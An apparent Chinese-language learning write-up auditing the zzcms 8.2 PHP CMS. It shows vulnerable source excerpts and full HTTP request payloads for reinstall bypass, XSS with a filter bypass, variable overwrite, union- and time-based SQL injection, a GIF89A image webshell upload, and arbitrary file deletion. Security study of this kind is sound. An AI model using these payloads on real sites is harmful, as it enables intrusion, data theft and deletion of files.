0x01 前言
最近想学代码审计,所以嘛,·就从漏洞比较多的zzcms8.2下手了.由于对全文通读的审计方法不熟悉,所以这里借助Seay源代码审计系统进行辅助
0x02 代码审计实例:zzcms8.2
1.重装漏洞
看一下 install/index.php 文件,从文件中没有看出是否有检测 /install/install.lock 文件是否存在的代码.
include '../inc/config.php';
include 'conn.php';
if($_POST) extract($_POST, EXTR_SKIP);//把数组中的键名直接注册为了变量。就像把$_POST[ai]直接注册为了$ai。
if($_GET) extract($_GET, EXTR_SKIP);
$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;
手打省略号
switch($step) {
case '1'://协议
include 'step_'.$step.'.php';
break;
case '2'://环境
$pass = true;
$PHP_VERSION = PHP_VERSION;
手打省略号
break;
case '3'://查目录属性
include 'step_'.$step.'.php';
break;
case '4'://建数据库
include 'step_'.$step.'.php';
break;
case '5'://安装进度
再来看下 install/step_1.php 文件,发现了在文件开头有检测/install/install.lock存不存在的代码,然而在另外的几个安装文件中,并没有发现检测/install/install.lock存不存在的代码.
<?php
if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}else{
?>
所以我们跳过只需要跳过第一步的检测流程,就可以对网站进行重新安装.PayLoad如下
POST /zzcms8.2/install/index.php HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
step=2
2.XSS
该漏洞出现在 3/ucenter_api/code/friend.php 文件中,利用方式可能有点鸡肋,该文件内容如下
<?php
/**
* UCenter 应用程序开发 Example
*
* 列出好友的 Example 代码
* 使用到的接口函数:
* uc_friend_totalnum() 必须,返回好友总数
* uc_friend_ls() 必须,返回好友列表
* uc_friend_delete() 必须,删除好友
* uc_friend_add() 必须,添加好友
*/
if(empty($_POST['submit'])) {
$num = uc_friend_totalnum($Example_uid);
echo '您有 '.$num.' 个好友';
echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'?example=friend">';
$friendlist = uc_friend_ls($Example_uid, 1, 999, $num);
if($friendlist) {
foreach($friendlist as $friend) {
echo '<input type="checkbox" name="delete[]" value="'.$friend['friendid'].'">';
switch($friend['direction']) {
case 1: echo '[关注]';break;
case 3: echo '[好友]';break;
}
echo $friend['username'].':'.$friend['comment'].'<br>';
}
}
echo '添加好友:<input name="newfriend"> 说明:<input name="newcomment"><br>';
echo '<input name="submit" type="submit"> ';
echo '</form>';
} else {
if(!empty($_POST['delete']) && is_array($_POST['delete'])) {
uc_friend_delete($Example_uid, $_POST['delete']);
}
if($_POST['newfriend'] && $friendid = uc_get_user($_POST['newfriend'])) {
uc_friend_add($Example_uid, $friendid[0], $_POST['newcomment']);
}
echo '好友资料已更新<br><a href="'.$_SERVER['PHP_SELF'].'?example=friend">继续</a>';
exit;
}
?>
漏洞的触发位置在38行的 $_SERVER[‘PHP_SELF’] 前提是参数submit不为空且为Post,而 $_SERVER[‘PHP_SELF’] 的功能是取PHP文件对于网站跟目录的相对地址。我们可以利用下面的Payload来触发XSS
POST /zzcms8.2/3/ucenter_api/code/friend.php/"><script>alert(1);</script> HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898
Connection: close
PHP_SELF: 123
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
submit=1
在 admin/adclass.php 的146行,使用了 $_REQUEST[“bigclassid”] 来接收参数并回显到页面中
<?php
$dowhat=isset($_REQUEST['dowhat'])?$_REQUEST['dowhat']:'';
switch ($dowhat){
case "addbigclass";
checkadminisdo("advclass");
addbigclass();
break;
case "addsmallclass";
checkadminisdo("advclass");
addsmallclass();
break;
case "modifybigclass";
checkadminisdo("advclass");
modifybigclass();
break;
case "modifysmallclass";
checkadminisdo("advclass");
modifysmallclass();
break;
default;
showclass();
}
function showclass(){
$action=isset($_REQUEST['action'])?$_REQUEST['action']:'';
if ($action=="px") {
checkadminisdo("advclass");
$sql="Select * From zzcms_adclass where parentid='A'";
$rs=query($sql);
手动省略号
if ($action=="delsmall") {
checkadminisdo("advclass");
$smallclassid=trim($_GET["smallclassid"]);
checkid($smallclassid);
if ($smallclassid<>"") {
query("delete from zzcms_adclass where classid='" . $smallclassid. "'");
}
echo "<script>location.href='?#B".$_REQUEST["bigclassid"]."'</script>";
}
利用的前提是先执行函数 showclass() 且 $action==”delsmall” ,我们只需要将参数 dowhat 设置为空,就能执行函数 showclass 了.然后在将 action 参数设置为 delsmall .最后将 bigclassid 设置为需要执行的JavaScript代码.但是由于admin.php包含了conn.php,conn.php包含了inc/stopsqlin.php。stopsqlin.php文件检测了一些比较常见的XSS关键字.
<?php
//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}
可以利用 img标签来进行攻击,PayLoad如下:
http://192.168.0.110/admin/adclass.php?&action=delsmall&bigclassid=%3C%2fScript%3E%3Cimg%20src=x%20onerror=%22alert(1);%22%3E;%22%3E)
同样的漏洞这里不赘述了。
3.变量覆盖
该漏洞位于 inc/stopsqlin.php 文件中 ,相对来说比较鸡肋也没啥用,但是对于我这种刚学代码审计的来说还是有点学习作用的.
<?php
//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
该文件的第22,23行用了 extract 函数,且在 inc/conn.php 文件调用了 inc/stopsqlin.php 文件
<?php
error_reporting(0);
define('zzcmsroot', str_replace("\\", '/', substr(dirname(__FILE__), 0, -3)));//-3截除当前目录inc
ini_set("date.timezone","Asia/Chongqing");//设时区。php.ini里date.timezone选项,默认情况下是关闭的
include(zzcmsroot."/inc/config.php");
include(zzcmsroot."/inc/wjt.php");
include(zzcmsroot."/inc/function.php");
include(zzcmsroot."/inc/zsclass.php");//分类招商在里面
include(zzcmsroot."/inc/stopsqlin.php");
include(zzcmsroot."/inc/area.php");
if (opensite=='No') {
if (@checkadminlogin<>1) {
WriteErrMsg(showwordwhenclose);
exit();
}
}
$file=zzcmsroot."/install/install.lock";//是否存在安装标识文件
$installdir=zzcmsroot."install";
if (file_exists($file)==false && is_dir($installdir) ){//同时检测安装目录install,如果删除安装目录后,则不再提示
WriteErrMsg("未检测到安装标识文件,<a href='http://".$_SERVER['HTTP_HOST']."/install/index.php'>点击运行安装向导</a>");
exit();
}
$conn=mysqli_connect(sqlhost,sqluser,sqlpwd,sqldb,sqlport) or showmsg ("数据库链接失败");
mysqli_real_query($conn,"SET NAMES 'utf8'"); //必不可少,用来设置客户端送给MySQL服务器的数据的字符集
mysqli_select_db($conn,sqldb) or showmsg ("没有".sqldb."这个数据库,或是被管理员断开了链接,请稍后再试");
我们需要寻找一个变量,并且该变量在使用前没有被重新赋值. 在第20行的代码中,调用了 WriteErrMsg 。我们追进该函数.发现该函数的变量 $f_array_fun 在使用前并没有重新赋值.
<?php
define('zzcmsroot2', str_replace("\\", '/', substr(dirname(__FILE__), 0, -3)));//-3截除当前目录inc
$fpath=zzcmsroot2."inc/text/function.txt";
$fcontent=file_get_contents($fpath);
$f_array_fun=explode("\n",$fcontent) ;
function WriteErrMsg($ErrMsg){
global $f_array_fun;
$strErr="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>";//有些文件不能设文件头
$strErr=$strErr."<html xmlns='http://www.w3.org/1999/xhtml' lang='zh-CN'>" ;
$strErr=$strErr."<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";
$strErr=$strErr . "<div style='text-align:center;font-size:14px;line-height:25px;padding:10px'>" ;
$strErr=$strErr . "<div style='border:solid 1px #dddddd;margin:0 auto;background-color:#FFFFFF'>";
$strErr=$strErr . "<div style='background-color:#f1f1f1;border-bottom:solid 1px #ddd;font-weight:bold'>".$f_array_fun[0]."</div>";
$strErr=$strErr . "<div style='padding:20px;text-align:left'>" .$ErrMsg."</div>";
$strErr=$strErr . "<div style='background-color:#f1f1f1'><a href='javascript:history.go(-1)'>".$f_array_fun[1]."</a> <a href=# onClick='window.opener=null;window.close()'>".$f_array_fun[2]."</a></div>";
$strErr=$strErr . "</div>";
$strErr=$strErr . "</div>" ;
$strErr=$strErr . "</html>" ;
echo $strErr;
}
//显示
最后,我们来看看如何利用变量覆盖进行攻击。Payload如下
GET /inc/conn.php?f_array_fun[0]=123123 HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898
Connection: close
4.SQL注入
该漏洞位于 admin/ad_px.php,需要登录后才能进行注入。
<?php
include ("admin.php");
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title></title>
<link href="style.css" rel="stylesheet" type="text/css">
<script language="JavaScript" src="/js/gg.js"></script>
</head>
<body>
<?php
$b=isset($_REQUEST["b"])?$_REQUEST["b"]:'';
$s=isset($_REQUEST["s"])?$_REQUEST["s"]:'';
手打省略号
echo "<br>";
$sql="select * from zzcms_adclass where parentid='".$b."' order by xuhao";
$rs = query($sql);
$row = num_rows($rs);
直接将参数b拼接到了SQL语句中,虽然该文件也包含了 inc/stopsqlin.php 的代码。但是过滤的参数并没有过滤$_REQUEST,导致了过滤代码的失效.
下面是测试payload
GET /admin/ad_px.php?b=1' union select 1,user(),3,4--+ HTTP/1.1
Host: 192.168.0.110
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898
Connection: close
我们再找一个不需要管理员权限的SQL注入.该漏洞位于 user/check.php 文件,这个文件一共有五处SQL操作。但是 inc/stopsqlin.php 对来自 Cookie,Get,Post 的参数进行过滤。所以我们需要找不是来自于这三处的变量.
<?php
$usersf='';
$userid='';
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
echo "<script>location.href='/user/login.php';</script>";
}else{
$username=nostr($_COOKIE["UserName"]);
$rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'");
$row=num_rows($rs);
if (!$row){
//if ($_COOKIE["UserName"]!=$_SESSION["UserName"] || $_COOKIE["PassWord"]!=$_SESSION["PassWord"]){//当记登录状态时,只有COOKIE,没有SESSION
echo "<script>location.href='/user/login.php';</script>";
}else{
echo getip();
$row=fetch_array($rs);
$usersf=$row['usersf'];//left.php中用
$userid=$row['id'];//top中用
$lastlogintime=$row['lastlogintime'];
$password=$_COOKIE["PassWord"];
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
if (strtotime(date("Y-m-d H:i:s"))-strtotime($lastlogintime)>3600*24){
query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('".$username."','每天登录用户中心送积分','+".jf_login."','','".date('Y-m-d H:i:s')."')");
}
query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."' WHERE username='".$username."'");//更新最后登录时间
}
}
?>
从代码中得知函数 getip 返回的IP可以进行伪造,而且没有进行任何过滤。所以说,只要文件引用了 check.php ,我们就都可以进行注入
<?php
// 手打省略号
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
需要 HTTP_CLIENT_IP 的值,而 HTTP_CLIENT_IP 的值来自于HTTP头的 Client-ip。PayLoad如下
GET /user/daohang_company.php HTTP/1.1
Host: 192.168.0.110
Client-ip: 1' and sleep(5)#
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3
Connection: close
5.任意文件上传
这个漏洞说存在也存在,说不存在也不存在。我用的是Nginx,可能版本比较低,所以该漏洞存在。
该漏洞存在于 uploadimg.php 文件中,我们只需要上传图片马,然后用nginx的解析漏洞即可
<?php
if(!isset($_SESSION)){session_start();}
set_time_limit(1800) ;
include("inc/config.php");
if (!isset($_COOKIE["UserName"]) && !isset($_SESSION["admin"])){
session_write_close();
echo "<script>alert('登录后才能上传');window.close();</script>";
}
//上传图片的类--------------------------------------------------------------
class upload{
//上传文件类型列表
private $uptypes = array ('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash');
//只要不设定这种类型,php类的文件就无法上传'application/octet-stream'
private $max_file_size = maximgsize; //上传文件大小限制, 单位k
public $fileName; //文件名称
public $fdir ;//上传文件路径
private $watermark = shuiyin; //是否附加水印(yes为加水印,其他为不加水印);
private $waterstring = ''; //水印字符串
private $waterimg=syurl ; //水印图片 png
private $watertype = 2; //水印类型(1为文字,2为图片)
private $imgpreview=1; //是否生成缩略图(1为生成,其他为不生成);
private $sw=120; //缩略图宽度
public $bImg; //大图的全路径
public $sImg; //小图的全路径
public $datu; //大图的命名
function upfile() {
//是否存在文件
if (!is_uploaded_file(@$this->fileName[tmp_name])){
echo "<script>alert('请点击“浏览”,先选择您要上传的文件!\\n\\n支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>"; exit;
}
//检查文件大小
if ($this->max_file_size*1024 < $this->fileName["size"]){
echo "<script>alert('文件大小超过了限制!最大只能上传 ".$this->max_file_size." K的文件');parent.window.close();</script>";exit;
}
//检查文件类型//这种通过在文件头加GIF89A,可骗过
if (!in_array($this->fileName["type"], $this->uptypes)) {
echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>";exit;
}
//检查文件后缀
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀,如可获取到.php.gif
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit;
}
//创建文件目录
if (!file_exists($this->fdir)) {mkdir($this->fdir,0777,true);}
//上传文件
$tempName = $this->fileName["tmp_name"];
$fType = pathinfo($this->fileName["name"]);
$fType = $fType["extension"];
$newName =$this->fdir.$this->datu;
$sImgName =$this->fdir.str_replace('.','_small.',$this->datu);
//echo $newName;
if (!move_uploaded_file($tempName, $newName)) {
echo "<script>alert('移动文件出错');parent.window.close();</script>"; exit;
}else{
//检查图片属性,不是这几种类型的就不是图片文件,只能上传后才能获取到,代码放到上传前获取不到图片属性,所以放在这里
$data=GetImageSize($newName);//取得GIF、JPEG、PNG或SWF图片属性,返回数组,图形的宽度[0],图形的高度[1],文件类型[2]
if($data[2]!=1 && $data[2]!=2 && $data[2]!=3 && $data[2]!=6){//4为swf格式
unlink($newName);
echo "<script>alert('经判断上传的文件不是图片文件,已删除。');parent.window.close();</script>";exit;
}
//是否生成缩略图
$data=GetImageSize($newName);//取得GIF、JPEG、PNG或SWF图片属性,返回数组,图形的宽度[0],图形的高度[1],文件类型[2]
if($this->imgpreview == 1 && $data[2]!=4){//文件类型不为4,4为swf格式
switch ($data[2]) {
case 1 :$sImg = imagecreatefromgif($newName);break;
case 2 :$sImg = imagecreatefromjpeg($newName);break;
case 3 :$sImg = imagecreatefrompng($newName);break;
case 6 :$sImg = imagecreatefromwbmp($newName);break;
default :echo "<script>alert('不支持的文件类型,无法生成缩略图');parent.window.close();</script>";exit;
}
//生成小图
if ($data[1]>$data[0]){
$newwidth=$this->sw *($data[0]/$data[1]) ;
$newheight= $this->sw;
}else{
$newwidth=$this->sw;
$newheight=$this->sw*($data[1]/$data[0]) ;
}
$sImgDate = imagecreatetruecolor($newwidth,$newheight);
imagecopyresampled($sImgDate,$sImg, 0, 0, 0, 0, $newwidth, $newheight, $data[0],$data[1]);
switch ($data[2]) {
case 1 :imagegif($sImgDate, $sImgName);break;
case 2 :imagejpeg($sImgDate, $sImgName);break;
case 3 :imagepng($sImgDate, $sImgName);break;
case 6 :imagewbmp($sImgDate, $sImgName);break;
}
imagedestroy($sImgDate);
imagedestroy($sImg);
$this->sImg=$sImgName;
}
//是否增加水印
$imginfo = GetImageSize($newName);
if ($this->watermark == 'Yes' && @$_REQUEST["noshuiyin"]!=1 && $imginfo[0]>200 && $imginfo[2]!=3 && $imginfo[2]!=4 && $imginfo[2]!=6) {
//如上传广告页不能加水印,很小的不加水印,3.png无法加,4.swf不能加,6.bmp无法加
$nimage = imagecreatetruecolor($imginfo[0], $imginfo[1]);
$white = imagecolorallocate($nimage, 255, 255, 255);
$black = imagecolorallocate($nimage, 0, 0, 0);
$red = imagecolorallocate($nimage, 255, 0, 0);
imagefill($nimage, 0, 0, $white);
switch ($imginfo[2]) {
case 1 :$simage = imagecreatefromgif($newName);break;
case 2 :$simage = imagecreatefromjpeg($newName);break;
case 3 :$simage = imagecreatefrompng($newName);break;
case 6 :$simage = imagecreatefromwbmp($newName);break;
default :echo "<script>alert('不支持的文件类型,无法加水印');window.close();</script>";exit;
}
imagecopy($nimage, $simage, 0, 0, 0, 0, $imginfo[0], $imginfo[1]);
switch ($this->watertype) {
case 1 : //加水印字符串
imagefilledrectangle($nimage, 1, $imginfo[1] - 15, 80, $imginfo[1], $white);
imagestring($nimage, 2, 3, $imginfo[1] - 15, $this->waterstring, $black);
break;
case 2 : //加水印图片
if (file_exists($this->waterimg)==false){
echo "<script>alert('水印图片不存在,请联系管理员先设水印图片或关闭水印功能');parent.window.close();</script>";
exit;
}
$simage1 = imagecreatefrompng($this->waterimg);//这里决定水印图片为PNG图片
$waterImg = getimagesize($this->waterimg);
//imagecopy($nimage, $simage1, $data[0]-150, $data[1]-50, 0, 0, $waterImg[0], $waterImg[1]);
if (addimgXY=="right"){
imagecopy($nimage, $simage1, $data[0]-200, $data[1]-40, 0, 0, $waterImg[0], $waterImg[1]);
}elseif (addimgXY=="center"){
imagecopy($nimage, $simage1, $data[0]/2-50, $data[1]/2-20, 0, 0, $waterImg[0], $waterImg[1]);
}elseif (addimgXY=="left"){
imagecopy($nimage, $simage1, 10, 10, 0, 0, $waterImg[0], $waterImg[1]);
}
imagedestroy($simage1);
break;
}
switch ($imginfo[2]) {
case 1 :imagegif($nimage, $newName,98);break; //98 为打印水印后图片的质量
case 2 :imagejpeg($nimage, $newName,98);break;
case 3 :imagepng($nimage, $newName,98);break;
case 6 :imagewbmp($nimage, $newName,98);break;
}
//覆盖原上传文件
imagedestroy($nimage);
imagedestroy($simage);
}
$this->bImg=$newName;
}
}
}
//------------------------------------------------------------上传图片类结束--------------
$filename = array();
for ($i = 0; $i < count($_FILES['g_fu_image']['name']); $i++){
$filename[$i]['name']=$_FILES['g_fu_image']['name'][$i];
$filename[$i]['type']=$_FILES['g_fu_image']['type'][$i];
$filename[$i]['tmp_name']=$_FILES['g_fu_image']['tmp_name'][$i];
$filename[$i]['error']=$_FILES['g_fu_image']['error'][$i];
$filename[$i]['size']=$_FILES['g_fu_image']['size'][$i];
}
for ($i = 0; $i < count($filename); $i++){
$filetype=strtolower(strrchr($filename[$i]['name'],"."));//图片的类型,统一转为小写
$up = new upload();
$up->fileName = $filename[$i];
$up->fdir='uploadfiles/'.date("Y-m").'/'; //上传的路径
$up->datu=date("YmdHis").rand(100,999).$filetype;//大图的命名
$up->upfile(); //上传
$bigimg=$up->fdir.$up->datu; //返回的大图文件名
$js="<script language=javascript>";
if (@$_REQUEST['imgid']==2){//同一页面中有两处上传的
$js=$js."parent.window.opener.valueFormOpenwindow2('/" . $bigimg ."');";//读取父页面中的JS函数传回值
}else{
$js=$js."parent.window.opener.valueFormOpenwindow('/" . $bigimg ."');";//读取父页面中的JS函数传回值
}
$js=$js."parent.window.close();";
$js=$js."</script>";
echo $js;
}
?>
利用的PayLoad如下
POST /uploadimg.php HTTP/1.1
Host: 192.168.0.110
Client-ip: 1' and sleep(5)#
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=igj7bd7vdha0t2kro5ju2iv8q0; bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3
Connection: close
Content-Type: multipart/form-data; boundary=--------540287564
Content-Length: 173
----------540287564
Content-Disposition: form-data; name="g_fu_image[]"; filename="123.jpg"
Content-Type: image/jpeg
GIF89A
<?php phpinfo();?>
----------540287564--
当然了,如果用的是apache,也可以用phtml来绕过,黑名单中并没有 phtml 。
6.任意文件删除
该漏洞位于 admin/ad_user_modify.php ,由于调用了 inc/stopsqlin.php 文件,所以此文件也一样有了变量覆盖的问题。
<?php include("admin.php"); ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title></title>
<link href="style.css" rel="stylesheet" type="text/css">
<script language = "JavaScript" src="/js/gg.js"></script>
</head>
<body>
<?php
checkadminisdo("advtext");
$action = isset($_POST['action'])?$_POST['action']:'';
$page = isset($_GET['page'])?$_GET['page']:1;
checkid($page);
$id = isset($_GET['id'])?$_GET['id']:0;
checkid($id,1);
if ($action=="modify"){
query("update zzcms_textadv set adv='$adv',advlink='$advlink',img='$img',passed=1 where id='$id'");
$rs=query("select * from zzcms_textadv where id='$id'");
$row=fetch_array($rs);
$advusername=$row["username"];
query("update zzcms_ad set title='$adv',link='$advlink',img='$img' where username='".$advusername."'");//如果抢占了广告位了,同时更改
if ($oldimg<>$img && $oldimg<>"/image/nopic.gif" ){
$f="../".$oldimg;
echo $f;
if (file_exists($f)){
unlink($f);
}
}
echo "<script>alert('修改成功');window.location.href='ad_user_manage.php?page=".$page."'</script>";
}
?>
在上面的代码中,参数 $oldimg 由于没有事先进行赋值,所以我们可以传参数 $oldimg 为任意文件名。Payload如下
POST /admin/ad_user_modify.php HTTP/1.1
Host: 192.168.0.110
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: bdshare_firstime=1603020126898; UserName=admin; PassWord=21232f297a57a5a743894a0e4a801fc3; PHPSESSID=55n2of2u104h4k842gv81j4o96
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
action=modify&oldimg=1.txt